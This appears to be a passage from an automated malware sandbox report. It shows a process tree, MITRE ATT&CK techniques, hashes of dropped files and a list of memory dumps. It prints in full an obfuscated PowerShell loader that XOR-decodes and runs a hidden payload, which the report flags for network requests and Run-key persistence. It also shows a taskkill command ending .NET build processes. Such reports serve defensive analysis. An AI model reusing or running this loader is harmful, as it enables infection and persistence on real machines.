  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=70-38;$bNbrOi='tOoTiggw8';$sMrLfU='b890ab9db7a4a2b3b28181eddab0e4b6f9f9e3d4f0c5989eb4aee6bb88ebaaa6b5b9f3d7b086aa9aaaa3aa80a8e4b091b8fbe38ab8e68d91b797adaae586f0a791a0a59e90e586c1a796b19baee38eb2fca880b78a9ef7f79be0b188879fb0a8fbe9c1aa97ac90a4e5e9aebba2c0beda9ce0afa5fdacc1ae83eae4b0d098d3ef968aa2bfb9f0c1b280a08ee3e09eb8f1b18ba18de3fec0d7c99080b1d090a8bfabfbbd809591aaa3b990f3b084a29bb190f7e7c1bb86b08caab9b48de0b191aa9daca1ede0b285aba08aed9ea8bee7ac8cb18793bfa2a9fdbd8aa9aababda880a8e4b1a98df2ffc0d7b6bfd6f5c3eb92a9fdb5bfd4a1bca5fffcb4f0998da4ae8483fcbca2b6bfa0ce81ff9989a7adb592b0f59b9587dc89d7b5a69299f48bc59adcf3a9ae879784ffefac92a995bf9e9adceb8792a8fbac8aa5da89b29f8a908a83b1c0b58d87988597958cca88a296abf2aa9bb1f5e8b5f7cefa9da6b9c588d4f494a2a7b593c2b2bfac9af0f49ab9f9efd4a4ceab879defa787b4a896a69bfd9ba388b3a2d599a0fc95c8998da7ad8797a38bc7aeafa1a9b4f49a85e689bcab9df59f88b5d49188b1b7949afc85ca9bd4adac85a9fa89c5a9dd94a98db99a98c4e684a9868d948be4f38dbd938d939ba1eac4b3aff6b1a883a6bca090979692a8fa9b8bfa9cb5a88a8a94feadc48ed5a9cfa189fc87f7efbfac9ab9bd8889d58fd19795aba794b6c097848296849ab7e8a4bfd4adcda5889f85f7a4bf82acf39ba7bca2babfa193f2a09988a3adb7f5cf88af99edb984d7f0a78cfebdb8c29889f79c848797b8ffaaae9da6afb99a98fef18792a7f59ca0edab8db297bb908ab5f2c39a92eeb0a4f0f0fabbd3ef849aa7e099a4e2bbc5e8aababda899f7b88cab97b7a4a2b3b2f6be919bbbb9e398fcbd8aa197adaa90e7a88bb183c6ed8aa8a9c1aa97ac90a4e5969efdb093a08cb790f7e7d4ac8aa8bca2bea8eba68d91b797adaae5f9f3edd5ecd7eac0c7bbe7b086b197aca3edb9bafa84f6cfeab6e9bca1ecd88b9bb4e082bff8bb86b1de8da8b9f3c5bb878692aaa8a3a9a9f6a2a08aee9facb3f6b188e5daa2fefcfdbf9d8ab090b7ede9bca1efcb8691b6a3b9f4eefb9eb18cbab6bfb8e6ab97abdee7acfeefbc9a8ab290afa2acb9d6bf91a4d6e792e4a0f1bf91a696b8b0b0a09fd483b090a0b9a4b2fcfe8ceddaa2fee1f9f3eac9e19ff6e1e9bca4e3a5edd7eab6e9bca5e3be9596a2a3b9b2ff9984b19b9ef7f791fdbf81848db0a8a0bffea7cde19ff0e4f6f9f3e6d8e19ff4e38ab8e68a9cb59bb0e5e4a1ada5c19ad085b8a1b1dcbf88a0deeea8bc';$gD9AIXd7='AT5bNUEJFkNUHD5bORJ1V1YgRG5SblgaFkNYDTJhU1lUXkcOVXNVbxJwW0wJSHRdR1BTVVEwCUVeIRtqAVIZeChgcnUCdEU0dyMMY2t8X0Aub3lfMwkFaE8aS0hXRwRXABcFQ11VPBsbGwtWBXgKPFVUGgNJQCMUSE9hRkMZSHkTemdzUVYEV3tObk5vCBguU39bdVl7XFEZQHRZZBQWUxpEXCEeYAUce0wbTnFfKRhQAg5JQCwTfDE4PyhJQysHQRQaGn0JAT1gMkgFFQtNCjoSXlgSFUQXdH1zRlRfVxAJF3hpR09rdWsKcFILN2Z1QksMTypdW1F4R0MqTn1cVkxYU09YGXtUdltTAGBZeE10Zl5fQUU/TFBPYHtdVXIuZ3ZcM1sPFQtEDTISXlgSFXheVS1ce2lVe2YeF1NuMQV9W2dGcV5VaWxYWQ0kZm5dZHt0WHsqFGhcQn0Ke3U7Dnt7PAEVGwtBCTJlZRwVaBEZFnxAVFt7dhZCbll/KnN2QUo9dXURSGgGGXI+Y3djbFtVYmErTXwIZgEVGwtELBBTZxQaFkBfHH4aJV4DGw8MT34SJV0GD3k5RGJOL3lcUU0JSHRdXAYIZ3YrGTR9ZEhhRlAET30SJV4AGwtATHtOYlQabUZNBldAT19lAhZQBjMaKhwabUZNBkJsckR/YUEFa057bHFIfGk8cCcHJhUSGQJFfn4aJm9Id1pKCDNBDDYSEgYPEjoHIRRtVgJKRCleNnVlZEo3TGpIWGtRVXIXUn10e09afVhdGFNuWFR9ZhZUaFl7MF16SlI3ZnJKWw5eCkM1WWgdKBwJEgYPEjoHIRhQAQw+VHhJdU5bXEVFETYaJV4BHG4IT31OaRwfEhNfCBcwJV0BAwJQATJlZRwVYkVQHD0TIQc/OAYPFScSXlgSFXsDezVcVn5dVHVYSFNvZVsVGwJGATJlZRwVa08dUHx7PAEVGxlgKzoaIRxbEgo2YnVUd1lARn9XG1xIblFwU1EIFy5pdU5bXEVFBVdbdV9aV1E2EEcTKBwWUBZNCUVeIRtUalIFR1JNPBsbEmJFBXgJLRwWUxFcDToSXlgSFUA6TW9iRnZRa3NQHD0TLRwabUZNBkJtcVNmXFoEBjMWIRRtVgJKcW0HPBsbEg5NCUVeIRtWSEFYBjMTDDYSEgJNZn9OLGxAXUEIUmlGclNARgIucU8aLFhXQUERUn9WZF9GEg8LSGhJdRwHTkQZAVRbbFkecXI4AWc3CzE4EgJNAToaIRwSEg==';$qZvL1H=0xA1EB-0xC504;$xkPzeuVmA=@();foreach($c in [char[]]$bNbrOi){$xkPzeuVmA+=[byte]($c-bxor0xAA)};$xbOhQY=$xkPzeuVmA;$xkPzeuVmA=@();foreach($c in [char[]]$bNbrOi){$xkPzeuVmA+=[byte]($c-bxor0x55)};$eplMxA=$xkPzeuVmA;$xkPzeuVmAoldR='';$i=0;for($j=0;$j-lt$sMrLfU.Length;$j+=2){$xkPzeuVmAoldR+=[char](([Convert]::ToInt32($sMrLfU.Substring($j,2),16))-bxor$xbOhQY[$i++%$xbOhQY.Length])};$l4nGIvq=$xkPzeuVmAoldR;$xkPzeuVmAoldB=[Convert]::FromBase64String([regex]::Replace($gD9AIXd7, '$xkPzeuVmA', ''));$xkPzeuVmAoldR='';$i=0;for($j=0;$j-lt$xkPzeuVmAoldB.Length;$j++){$xkPzeuVmAoldR+=[char]($xkPzeuVmAoldB[$j]-bxor$eplMxA[$i++%$eplMxA.Length])};$rIZqHYJv=$xkPzeuVmAoldR;$f1H0On=$l4nGIvq+$rIZqHYJv;.($env:ComSpec[4,26,25]-join'') $f1H0On"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4656
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\w0c11t5y\w0c11t5y.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4056
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7550.tmp" "c:\Users\Admin\AppData\Local\Temp\w0c11t5y\CSC2860A631AB59438A942C199BFF62763.TMP"
      4⤵
      PID:4112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2244
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3428
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3508
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3168
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3828

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
MD5 e6bcee6109b84febc5ffa8c6d9b2a547
SHA1 eb5de5de4575f11fea9fb8a5f72aee1c8b5b3dab
SHA512 3081253140a770e4c68087b76b905286143feb2fbafa1e0b284b50f69ec736153f85fad9305d7e7f1309d98cf470edea4ab89da3941e068631116d03cccf5333
TLSH
T1C6115733B3CC8624CC9A403650CEAC1036B587DB509EDF6BBB84D145B83F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 bf1aa6ac9ad2aba7c10a908fe04522937f89215eed432273fe494d0b6a827426
MD5 367cd011c44fd63e1fa95cab22ac2c26
SHA1 59a7c8c8f0ac1bb652ca5e01e984da95b18b5ccd
SHA512 de6a8bd27da753255d813fdeca4dff39da83e3c7818987928aa2797ea2ee27db127a417347d6005e5fb7f737cf2ef897c49d50d196ede66a0e35592a1e44afa7
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2dff6e2b1409f403f3f02af2d36804648b96f9bf08a451fd5c34a1384bfb39bc
MD5 1a523ce8fa0e024f788b8a0ac9ab492b
SHA1 9b0dc69e9260692d874951dec2ecd612c0e2c9d3
SHA512 dec43a552781a22fc759676d31e9f685a831e58149a4041175f1e94cf66916abf850badd968cf4d6ce731d7510d66ee5a308c01e9be21638513ecb7bed617eb0
TLSH
T1E9214833F3DC8615D889407A50CEEC1436B697DB80DECE5BBB84D658B43F599CE60660
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a18ef605aba2b054d29e115b365f87a7814c6d5c021b6c6e3ef3a39a4e7c1e44
MD5 81a2e32362cc558889896c52e193448c
SHA1 657572dc25ae62be8cef24e880a627e94bf52297
SHA512 af66879f9a2a9157241bf3c7cc89c51709425585499f1ff7b13ddaa8f6de79a0d359f08223261b1b22d44322e647383e20522565c01c1dacf5958858e8f9bff1
TLSH
T1D9214533F3DC8655D889407A50CEEC0432B697EB80DECE9BAB84D618B03F599CEA0560
MD5 SHA1 SHA512 TLSH

Submit Download

RES7550.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES7550.tmp
Size 1KB
SHA256 cb6968670ed087a4beab9142d638de58eccc7cb6179e93dd43279485339c0b2b
MD5 8c8f93d0edc3505d1afd7f7906e1f9dc
SHA1 967a7687ca00a8f9529ca0d4f9e0ae8f890d5c11
SHA512 76db850bebdabb6a1b314da56fb85a8426590075da4b22a97d3c971082f06ffd951beaa468f3ca694aee9d4b0e6a5b33ad6da8d7af1f03fe57c2afd58b7588da
TLSH
T19421C20683E8471FF0735B3169FA132F9274FD64EFB293AA5440032D1C50654EFA1AB6
MD5 SHA1 SHA512 TLSH

Submit Download

RESAB0B.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESAB0B.tmp
Size 1KB
SHA256 0cc4bdcda9363a63bb75de92839ea83e9afafe12cc6ff52d099df14adb60d499
MD5 bae4134712b136845b98a18adeb9718e
SHA1 40c4a3726f5416da33863a1339eefdeca452fbfb
SHA512 cdb8d361d8196b8df58c89f44039dbb52e7ff8752975bd0ad8f933a2779037cbd261d0339aa45fafb2b2d78f38fadee0629c2231fee31eb23abb723f4a3527ad
TLSH
T15521CC0693E9470FF0774B31A9F6136B9274FD54EFA1935A848002282C12544EFF1F72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_kv3vef0m.22i.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kv3vef0m.22i.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

f3e044a2-0601-4bfc-8a11-b002b7230361.bat

Path C:\Users\Admin\AppData\Local\Temp\f3e044a2-0601-4bfc-8a11-b002b7230361.bat
Size 21KB
SHA256 bcd7be9630cfb4df28c15fc2889229337147a8b44a9d0998b928c9391b9af8c2
MD5 8b77b4a78fbf16a6389ba261d0be6b57
SHA1 c2d197c8284b430470e14e07be1030b08cd577a4
SHA512 8bd2af0a25bd90a4d9f1e5fb6ed6c8ec7849b388f0275a2d3d32ad16d08bd7e2502b7a00812b1cbb0922aa78e3a721b02d17428cab32cb3f025cceb231c1d553
SSDEEP 384:LZPCU2BGxndx2RePkbOMSIe/LIcmMwq/xZPCU2BGxndx2RePkbOMSIe/LIcmMwqz:VnBxCaMSIe/nmMJ/LnBxCaMSIe/nmMJz
TLSH
T1ACA2F8F6E0D678048466A3F138D4E0D7F943EE1B5C87BEA8399C81500B623BC7BD5899
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pv2gxsqb.dll

Path C:\Users\Admin\AppData\Local\Temp\pv2gxsqb\pv2gxsqb.dll
Size 3KB
SHA256 1a4d665502efb49edf5497985a650992de634f4487b5e66b0e861eb27f1336b4
MD5 1933999869c7ab100caa5e73efa7219b
SHA1 d6339b6057d6ef58040e156467968b756b03eda9
SHA512 4287042ea1c11205eb4a3a4b9a9697658049b91cc4c5c50f34c7875a94f19944637e79633615bfc5ff781c4ac5466a6ae11d8cd62d7a9727260c844c301225ad
TLSH
T19951CD1AA7E8467BE47B0B31BEE743572774F910EB62535D4880027CAC213645E32FB5
MD5 SHA1 SHA512 TLSH

Submit Download

w0c11t5y.dll

Path C:\Users\Admin\AppData\Local\Temp\w0c11t5y\w0c11t5y.dll
Size 3KB
SHA256 37ab372674caca7434991f305d370df695ae746fbf169d1e5231b25855390b2c
MD5 287ca6805cceb206a1ba272cfbc1a2a5
SHA1 77859520560ca60e6a3fda688d24535a371462e4
SHA512 66eb60a82a92309a91a189c08a17cef196c8641137134ba64269661691f2f94f86f74d66fc1e1b07255554b5a5edb65634cfa890f1859b87f562ad7f78b3449f
TLSH
T11B51ED0A97E8462BE4A70B357EF743572774F920AB62975D5880023CAC217645F32FB9
MD5 SHA1 SHA512 TLSH

Submit Download

CSC72FD6798323243F5A3C1987DCA922E38.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\pv2gxsqb\CSC72FD6798323243F5A3C1987DCA922E38.TMP
Size 652B
SHA256 2d00d3205ee4fb5a74f8ed679bd8e15ae8a18991e6b8ae9a6840c569d95e4810
MD5 187943c954a867972f951e9d2a5513e4
SHA1 1944f8be6d5531dda60a146db4cb99d83598738a
SHA512 4de97ce1da4d2312ccb249220551ae02c9b186f1ca22fc1e1195254f45bad65d6d0911f3546426a3e82aa9001d9a7ea646314bbfcf2623f9b5cba9bf42b061de
TLSH
T174F05E5963F8420EF4F74F30BDF643A391A9BC64DE3293ED1481132928649109A72FB2
MD5 SHA1 SHA512 TLSH

Submit Download

pv2gxsqb.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\pv2gxsqb\pv2gxsqb.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

pv2gxsqb.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\pv2gxsqb\pv2gxsqb.cmdline
Size 369B
SHA256 886972992294dec8cbf05b67f9e073d8e37be7e98bd1d6df4cd58da42801a542
MD5 797349d6fcefe212025ca854640c1df5
SHA1 afea702d0535e68dce70aa8d04a672e0775d59e0
SHA512 943c4bcabdaa3682f509105c3d00a11f12dc274cf1df1d64fbbe89d62e6774f096e776237a587e54d1801fcbca055e1be30683db1369098f556f3027ea817257
TLSH
T1FEE0682A4346C27ED5D910072A69C4BE82720A836A40BFDC5040480DD4170066FE1B51
MD5 SHA1 SHA512 TLSH

Submit Download

CSC2860A631AB59438A942C199BFF62763.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\w0c11t5y\CSC2860A631AB59438A942C199BFF62763.TMP
Size 652B
SHA256 c07236e0476df5dc31803f246cbd22db1540d2f7d86c577b3ddbe72f8192424a
MD5 041238584e3c83d81f97c2a38ccd9837
SHA1 d440c3883a5ba2acfbe58344a217830d509413b0
SHA512 fd02d12f0d4fa21f8a386f348c3e4a8f4abc740e05133793b061b4fdb6a01932d52678a517c7db9e14239a9867d170198c328306dfc0696a5e8ff2ea62b955f2
TLSH
T122F0540A63F8020EF0F34F30BDF543679568BC64DE3293ED1440031D18645148A61FB5
MD5 SHA1 SHA512 TLSH

Submit Download

w0c11t5y.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\w0c11t5y\w0c11t5y.cmdline
Size 369B
SHA256 603b237a923dde4158c7aa7a2dfa1221b897012161b849c38f8cdc262a452838
MD5 cd3ba926b6dc94cf372b5578619fb3bf
SHA1 e671e439dc612ba05ccb3d7f0cd69eb61e4b31a3
SHA512 7006f70823e7bbf14b790fefa6ae19f2df77c9f333e5243fb9bcacee0e67754ad8de8e6bfe66c7207fae8f5ff2d86425a25724de76ecebc223490d60e2a6147b
TLSH
T124E0262BD256C67D15ED100F226AC9FCC672078B6DD17F84B19084ADE46B4086FE27A5
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4168-0-0x00007FF98B79F000-0x00007FF98B7A0000-memory.dmp

Download

memory/4168-18-0x00007FF98B610000-0x00007FF98BFB4000-memory.dmp

Download

memory/4168-1-0x0000000000020000-0x000000000003E000-memory.dmp

Download

memory/4168-4-0x00007FF98B610000-0x00007FF98BFB4000-memory.dmp

Download

memory/4656-58-0x000001AFA3E30000-0x000001AFA3E38000-memory.dmp

Download

memory/5228-31-0x000001A1F1AD0000-0x000001A1F1AD8000-memory.dmp

Download

memory/5228-33-0x000001A1F1B10000-0x000001A1F1B26000-memory.dmp

Download

memory/6088-10-0x00007FF98B610000-0x00007FF98BFB4000-memory.dmp

Download

memory/6088-9-0x00007FF98B610000-0x00007FF98BFB4000-memory.dmp

Download

memory/6088-8-0x00007FF98B610000-0x00007FF98BFB4000-memory.dmp

Download

memory/6088-11-0x00007FF98B610000-0x00007FF98BFB4000-memory.dmp

Download

memory/6088-7-0x000001C76DAE0000-0x000001C76DB02000-memory.dmp

Download

memory/6088-12-0x00007FF98B610000-0x00007FF98BFB4000-memory.dmp

Download

memory/6088-14-0x00007FF98B610000-0x00007FF98BFB4000-memory.dmp

Download